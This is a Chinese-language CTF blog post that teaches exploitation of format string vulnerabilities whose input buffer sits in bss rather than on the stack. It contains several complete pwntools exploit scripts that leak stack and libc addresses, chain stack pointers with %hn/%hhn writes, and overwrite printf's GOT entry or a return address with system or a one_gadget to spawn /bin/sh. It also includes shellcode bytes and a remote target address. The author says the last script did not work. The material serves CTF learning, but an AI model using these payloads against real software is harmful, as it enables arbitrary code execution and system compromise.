pwn入门-非栈上格式化字符串
星盟
one_gadget的一些姿势 - unr4v31 - 博客园
非栈上分两种情况。一在bss段上,二在堆上

跟栈上的区别是,比如网鼎杯那道题,是直接往栈上能写pritf的got地址,然后去修改,而这里不行
改ret地址中的libc start main为onegadget(难度简单,可能onegadget失效)
改printf的got为system/onegadget(难度中等,通杀)也就是下面的四马分肥
libc可以查看libc地址




然后改第二个把9c改成ac
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug'
context(arch='i386', os='linux') local = 1 elf = ELF('./playfmt') if local: p = process('./playfmt') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
one32 = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def ms(name,addr): print name + "---->" + hex(addr)
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(p,"b *{}".format(hex(mallocr)))
ru("Server") ru("=====================")
sl("aaaa%6$pbbbb%15$p") ru("aaaa") stack = int(rc(10),16) ms("stack--->",stack) ru("bbbb") libc_base = int(rc(10),16)-0x18647 ms("libc--->",libc_base) onegadget = libc_base + one32[1] system = libc_base + libc.sym["system"] ms("system--->",system) printf_got = 0x804A010 stack1 = stack-0xc stack2 = stack+0x4 ms("stack1--->",stack1) ms("stack2--->",stack2)
py = '' py += "%"+str((stack1)&0xff)+"c"+"%6$hhn" sl(py)
py = '' py += '%' + str(printf_got&0xffff)+ "c"+ "%10$hn"
sl(py)
while True: sl("King") sleep(0.01) data = p.recv() if data.find("King") != -1: break
py = '' py += "%"+str((stack2)&0xff)+"c"+"%6$hhn" sl(py)
py = '' py += '%' + str((printf_got+2)&0xffff)+ "c"+ "%10$hn"
sl(py)
py = '' py += "%"+str((system>>16)&0xff)+"c"+"%11$hhn" py += "%"+str(((system)&0xffff)-((system>>16)&0xff))+"c"+"%7$hn"
sl(py)
sl("/bin/sh")
p.interactive()
|
第二种方法,改Ret地址

走一遍看看调的是哪个返回地址,改成onegadget
0x98改0xac
然后相改地位两个字节,再改高位1个字节
32需要修复ebp,64位不用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * from libformatstr import FormatStr context.log_level = 'debug'
context(arch='i386', os='linux') local = 1 elf = ELF('./playfmt') if local: p = process('./playfmt') libc = elf.libc else: p = remote('116.85.48.105',5005) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
one32 = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def ms(name,addr): print name + "---->" + hex(addr)
def debug(mallocr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print }}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) else: gdb.attach(p,"b *{}".format(hex(mallocr)))
ru("Server") ru("=====================")
sl("aaaa%6$pbbbb%15$p") ru("aaaa") stack = int(rc(10),16)+0x24 ms("stack--->",stack) ru("bbbb") libc_base = int(rc(10),16)-0x18647 ms("libc--->",libc_base) onegadget = libc_base + one32[1] ms("one--->",onegadget)
py = '' py += "%"+str((stack)&0xff)+"c"+"%6$hhn"
sl(py)
py = '' py += '%' + str(onegadget&0xffff)+ "c"+ "%10$hn"
sl(py)
py = '' py += "%"+str((stack+2)&0xff)+"c"+"%6$hhn"
sl(py)
py = '' py += "%"+str((onegadget>>16) & 0xff) + "c"+ "%10$hhn" sl(py)
py = '' py += "%"+str((stack-0x14)&0xff)+"c"+"%6$hhn"
sl(py)
sl("quit") p.interactive()
|
你想有多pwn
这个下面写的很烂,建议别看
四马分肥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| #include <stdio.h> #include <unistd.h> #include <string.h>
char buf[200] ;
void do_fmt(){ while(1){ read(0,buf,200); if(!strncmp(buf,"quit",4)) break; printf(buf); } return ; }
void play(){ puts("hello"); do_fmt(); return; }
int main(){ play(); return 0; }
|
漏洞分两类
- 溢出
- 歧义:小明告诉小红说”我”今天晚上出去吃饭
在漏洞场景中,格式化字符串本身可以由用户输入,比如:
此时,printf
并不知道哪些参数是由用户提供的,哪些是程序设定的。
%7
是由用户输入的内容,printf
不知道这个是格式符号的一部分,还是用户输入的参数。
歧义的产生:
- 比如用户输入了:
"%7$n"
。
- 查找栈上第七个参数(假设这是一个地址)。
- 然后将已输出字符的长度写入这个地址中。
- 但程序本身并没有特别设置第七个参数,这就产生了歧义:
- 对于程序:它认为第七个参数是正常的函数参数。
- 对于攻击者:第七个参数实际上是攻击者伪造的地址,输入已经被攻击者控制。

非栈上就是在你输入的在一个低地址的地方
无法利用歧义,因为找不到一个地址去做

安全研究:HOUSE_OF_FMT - FreeBuf网络安全行业门户
64位rsp肯定是第六个参数
第一种模式:
利用现有的main,把got表printf,0x555555558028,不管开没开PIE最后三位肯定不变






师傅说的:%7$n%s并不是直接把0x55555555552a1修改,而是把参数里的值当作一个指针去改,一定要有个人指它,才能通过指的去改,因为这个内容是不可写的,它只能去改它指向的内容
不太理解师傅讲的,我再解释解释:
首先0x5555555552a1是个内存地址,在代码段,是不可写的()
看之前的也知道,输入输到了bss段中

这些类似的5555开头的地址,之前查FFFF是极限了(65535)
printf_got:0x555555558028-0x55555555802f这么8个字节分成4份
回归正题:
1 2 3 4
| 栈地址 内容 含义 ------------------------------------------------------ 0x7fffffffde40 -> 0x7fffffffde48 第 7 个参数,指向栈上的 `0x7fffffffde48` 0x7fffffffde48 -> 0x5555555552a1 指向目标地址
|
我们想把0x5555555552a1修改成8028不是直接去改0x5555555552a1的,而是当 printf
处理 %7$n
时:它会将当前输出的字符数写入第 7 个参数指向的地址,48所指向的地址是0x5555555552a1。
我们可以把0x5555555552a1修改成危险地址
也就是我们需要在内存中找一个三连的,

- 使用现有的三连指针将最低z位改成存储待修改值得地址
- 修改待修改的值为got表项的最低位
- 以上步骤*4,
- 一次性修改所有的内容,将got表项值改成system
- 传入/bin/sh\x00


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import *
context(log_level='debug', arch='amd64', os='linux') pwnfile = './fmt_str_level_2_x64' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
dem = 'hello\n' libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_file_path)
io.recvuntil(dem)
payload4searchbase = b"%9$p\x00" io.send(payload4searchbase)
pause()
main_28 = int(io.recv()[2:14],16) file_base = main_28 -elf.symbols['main'] - 28 print("file_base is :",hex(file_base))
printf_got = file_base + elf.got["printf"]
payload_search_stack = b'%6$p\x00' io.send(payload_search_stack)
stack_offset_1 = -0x8 stack_offset_2 = 0x8 stack_offset_3 = 0x38 stack_offset_4 = 0x50 stack = int(io.recv()[2:14],16) stack_1 = stack + stack_offset_1 stack_2 = stack + stack_offset_2 stack_3 = stack + stack_offset_3 stack_4 = stack + stack_offset_4
print("stak_addr:",hex(stack)) print("stack_1_addr:",hex(stack_1)) print("stack_2_addr:",hex(stack_2)) print("stack_3_addr:",hex(stack_3)) print("stack_4_addr:",hex(stack_4))
nu_1 = stack_1 & 0xffff payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1) io.interactive() printf_got_nu_1 = printf_got & 0xffff payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00" io.send(payload_1)
gdb.attach(io)
io.interactive()
|
其实到这我已经懵了,看了很多文章最后才理解 0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
|
from pwn import * import duchao_pwn_script arch = 'amd64' duchao_pwn_script.init_pwn_linux(arch) pwnfile= './fmt_str_level_2_x64' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile) libc =elf.libc
dem = 'hello\n' io.recvuntil(dem) payload4searchbase = b"%9$p\x00" io.send(payload4searchbase) main_28 = int(io.recv()[2:14],16) file_base = main_28 -elf.symbols['main'] - 28 print("file_base is :",hex(file_base)) printf_got = file_base + elf.got["printf"] payload4searchlibc = b"%11$p\x00" io.send(payload4searchlibc) libc_start_main_243 = int(io.recv()[2:14],16) libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] - 243 print("libc_base is :",hex(libc_base)) sys_addr = libc_base + libc.symbols["system"]
payload_search_stack = b'%6$p\x00' io.send(payload_search_stack) stack_offset_1 = -0x8 stack_offset_2 = 0x8 stack_offset_3 = 0x38 stack_offset_4 = 0x50 stack = int(io.recv()[2:14],16) stack_1 = stack + stack_offset_1 stack_2 = stack + stack_offset_2 stack_3 = stack + stack_offset_3 stack_4 = stack + stack_offset_4
nu_1 = stack_1 & 0xffff payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00" io.send( payload_1) io.interactive() printf_got_nu_1 = printf_got & 0xffff payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00" io.send(payload_1) io.interactive()
nu_2 = stack_2 & 0xffff payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00" io.send( payload_1) io.interactive() printf_got_nu_2 = (printf_got + 2) & 0xffff payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1)
io.interactive()
nu_3 = stack_3 & 0xffff payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1)
io.interactive() printf_got_nu_3 = (printf_got + 4) & 0xffff payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1)
io.interactive()
nu_4 = stack_4 & 0xffff payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00" io.send( payload_1) io.interactive() printf_got_nu_2 = (printf_got + 6)& 0xffff payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1)
io.interactive()
|
这个叫四马分肥
什么意思?
由于我们通常是利用格式化字符串漏洞将printf_got表地址写为system函数地址,那我这里就以这两个地址为例。
我们要将printf_got的地址放到栈上,但是这时候我们的格式化字符串不存在于栈上,那我们的地址就不能通过我们写的时候传进去,我们需要利用漏洞,将栈上原来存在的地址,修改为printf_got地址,这样我们再次利用格式化字符串漏洞,就可以将printf_got修改为system函数的地址。那这里为什么又要叫四马分肥呢?因为我们printf_got地址通常情况下比较大,我们分别在栈上找四个地址,然后将其修改为printf_got,printf_got+2,printf_got+4,printf_got+6,然后我们每次只写入两个字节,这样我们就可以正常覆写数据了。(其实高位通常都是0,是不需要修改的)
在这里在栈上寻找怎样的地址修改为printf_got的地址呢?其实这里也是有技巧的,我们通常会找那些与printf_got高位相同的地址。
%hn
用来将一个整数写入到栈上指定的地址,写入的内容是该地址指向的 2 字节(16 位)。通过这种方式,你可以逐步修改存储在栈上的 16 位地址(每次只能修改 2 字节)。
为什么每次只能修改 16 位:由于 %hn
只能写入 2 字节(16 位),所以需要分多次来修改 64 位地址。你会通过分别修改栈上 4 个 16 位的部分(低 16 位、次低 16 位、次高 16 位和高 16 位),将原本存储 printf_got
的地址修改为 system
函数的地址。
**如何实现修改 printf_got
为 system
**:
首先,你通过格式化字符串漏洞泄露了栈上的一些地址(比如 printf_got
的地址)。然后,你计算出 system
函数的地址,并将这个地址拆分成 4 个 16 位的部分。接着,你通过 %hn
逐个修改栈上的每个地址部分。
但实际上我们是通过指针来完成修改的,并不是直接修改
参考:浅谈非栈上格式化字符串 - Kee02p - 博客园
1 2 3 4 5 6 7 8 9 10 11 12
| payload_search_stack = b'%6$p\x00' io.send(payload_search_stack) stack_offset_1 = -0x8 stack_offset_2 = 0x8 stack_offset_3 = 0x38 stack_offset_4 = 0x50 stack = int(io.recv()[2:14],16) stack_1 = stack + stack_offset_1 stack_2 = stack + stack_offset_2 stack_3 = stack + stack_offset_3 stack_4 = stack + stack_offset_4
|
这个payload_search_stack是三链中间那个地址,因此要根据它计算偏移
1 2 3 4 5 6 7 8
| nu_1 = stack_1 & 0xffff payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1) io.interactive() printf_got_nu_1 = printf_got & 0xffff payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00" io.send(payload_1)
|
这一部分代码主要在 修改三链,具体来说是利用格式化字符串漏洞来实现将某个栈上的指针修改为指向 printf_got
地址的低 16 位。
这个可以分为两部分:
第一部分:
1 2 3 4
| nu_1 = stack_1 & 0xffff payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1) io.interactive()
|
目的: 修改栈上的第 6 个指针(%6$hn
指定栈上的第 6 个地址)为 stack_1
的低 16 位。
stack_1
是栈上的某个地址。
nu_1 = stack_1 & 0xffff
提取了 stack_1
的低 16 位值。
payload_1
通过格式化字符串漏洞写入 nu_1
到第 6 个栈地址指向的地方。
%6$hn
:这是格式化字符串的写入操作,表示将格式化字符串计算的结果(nu_1
的值)写入到第 6 个栈地址指向的内存位置。
- 执行完这一步后,栈上的第 6 个指针被修改为指向
stack_1
的低 16 位。

第二部分:
1 2 3 4
| printf_got_nu_1 = printf_got & 0xffff payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00" io.send(payload_1) io.interactive()
|
目的: 修改栈上的第 8 个指针(%8$hn
指定栈上的第 8 个地址)为 printf_got
的低 16 位地址。
printf_got
是 printf
的 GOT 表地址。
printf_got_nu_1 = printf_got & 0xffff
提取了 printf_got
的低 16 位。
payload_1
构造一个格式化字符串,利用格式化漏洞,将 printf_got_nu_1
的值写入到第 8 个栈地址指向的位置。
%8$hn
:将格式化字符串计算的结果写入第 8 个栈地址指向的内存位置。
- 执行完这一步后,栈上的第 8 个指针被修改为
printf_got
的低 16 位。


本质上类似构建一个链表,如上图
- 让b0指向a8,然后修改第8个栈上的指针(a8)指向printf_gof的最前16位
- 让b0指向b8,然后修改第8个栈上的指针(b8)指向printf_gof的次前16位
- …
不觉得有点类似链表吗?
head->a(指向printf最前16位)
head->b(指向printf次前16位)->a(指向printf最前16位)
head->c->b(指向printf次前16位)->a(指向printf最前16位)….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110
| from pwn import *
context(log_level='debug', arch='amd64', os='linux') pwnfile = './fmt_str_level_2_x64' io = process(pwnfile)
elf = ELF(pwnfile) rop = ROP(pwnfile)
dem = 'hello\n' libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_file_path)
io.recvuntil(dem)
payload4searchbase = b"%9$p\x00" io.send(payload4searchbase)
main_28 = int(io.recv()[2:14],16) file_base = main_28 - elf.symbols['main'] - 28 print("file_base is :",hex(file_base))
printf_got = file_base + elf.got["printf"]
payload4searchlibc = b"%11$p\x00" io.send(payload4searchlibc) libc_start_main_243 = int(io.recv()[2:14],16) libc_base = libc_start_main_243 - libc.symbols['__libc_start_main'] - 243 print("libc_base is :",hex(libc_base)) sys_addr = libc_base + libc.symbols["system"]
payload_search_stack = b'%6$p\x00' io.send(payload_search_stack)
stack_offset_1 = -0x8 stack_offset_2 = 0x8 stack_offset_3 = 0x38 stack_offset_4 = 0x50 stack = int(io.recv()[2:14],16) stack_1 = stack + stack_offset_1 stack_2 = stack + stack_offset_2 stack_3 = stack + stack_offset_3 stack_4 = stack + stack_offset_4
print("stak_addr:",hex(stack)) print("stack_1_addr:",hex(stack_1)) print("stack_2_addr:",hex(stack_2)) print("stack_3_addr:",hex(stack_3)) print("stack_4_addr:",hex(stack_4))
nu_1 = stack_1 & 0xffff payload_1 = b"%" + str(nu_1).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1)
printf_got_nu_1 = printf_got & 0xffff payload_1 = b"%" + str(printf_got_nu_1).encode("utf-8") + b"c%8$hn\x00" io.send(payload_1)
nu_2 = stack_2 & 0xffff payload_1 = b"%" + str(nu_2).encode("utf-8") + b"c%6$hn\x00" io.send( payload_1) io.interactive() printf_got_nu_2 = (printf_got + 2) & 0xffff payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1) io.interactive()
nu_3 = stack_3 & 0xffff payload_1 = b"%" + str(nu_3).encode("utf-8") + b"c%6$hn\x00" io.send(payload_1) io.interactive() printf_got_nu_3 = (printf_got + 4) & 0xffff payload_1 = b"%" + str(printf_got_nu_3).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1) io.interactive()
nu_4 = stack_4 & 0xffff payload_1 = b"%" + str(nu_4).encode("utf-8") + b"c%6$hn\x00" io.send( payload_1) io.interactive() printf_got_nu_2 = (printf_got + 6)& 0xffff payload_1 = b"%" + str(printf_got_nu_2).encode("utf-8") + b"c%8$hn\x00" io.send( payload_1)
io.interactive()
sys_addr_1 = sys_addr & 0xffff sys_addr_2 = (sys_addr >> 16)& 0xffff sys_addr_3 = (sys_addr >> 32)& 0xffff sys_addr_4 = (sys_addr >> 48)& 0xffff print("system is :",hex(sys_addr)) print("system_addr1 is :",hex(sys_addr_1)) print("system_addr2 is :",hex(sys_addr_2)) print("system_addr3 is :",hex(sys_addr_3)) print("system_addr4 is :",hex(sys_addr_4))
payload = b"%" + str(sys_addr_1).encode("utf-8") + b"c%7$hn" payload += b"%" + str(0x10000 + sys_addr_2 - sys_addr_1).encode("utf-8") + b"c%9$hn" payload += b"%" + str(0x10000 + sys_addr_3 - sys_addr_2).encode("utf-8") + b"c%15$hn" payload += b"\x00" io.send(payload)
io.interactive()
io.send( b'/bin/sh\x00') io.interactive()
|
head->c->b(指向次前16位)->a(指向最前16位)….
最后把system的地址也写入
head->d(指向printf最后16位)->c(指向printf次后16位)->b(指向printf次前16位)->a(指向system最前16位)….
head->d(指向printf最后16位)->c(指向printf次后16位)->b(指向system次前16位)->a(指向system最前16位)….
head->d(指向printf最后16位)->c(指向system次后16位)->b(指向system次前16位)->a(指向system最前16位)….
head->d(指向system最后16位)->c(指向system次后16位)->b(指向system次前16位)->a(指向system最前16位)
最后没打通(可能因为交互的原因)


内存要有和addr除最低2字节其余部分要一样的地址x643个,x86两个
诸葛连弩
找offset1->offset2 -> offset3 -> offset4
如果没有,则找3+2拼起来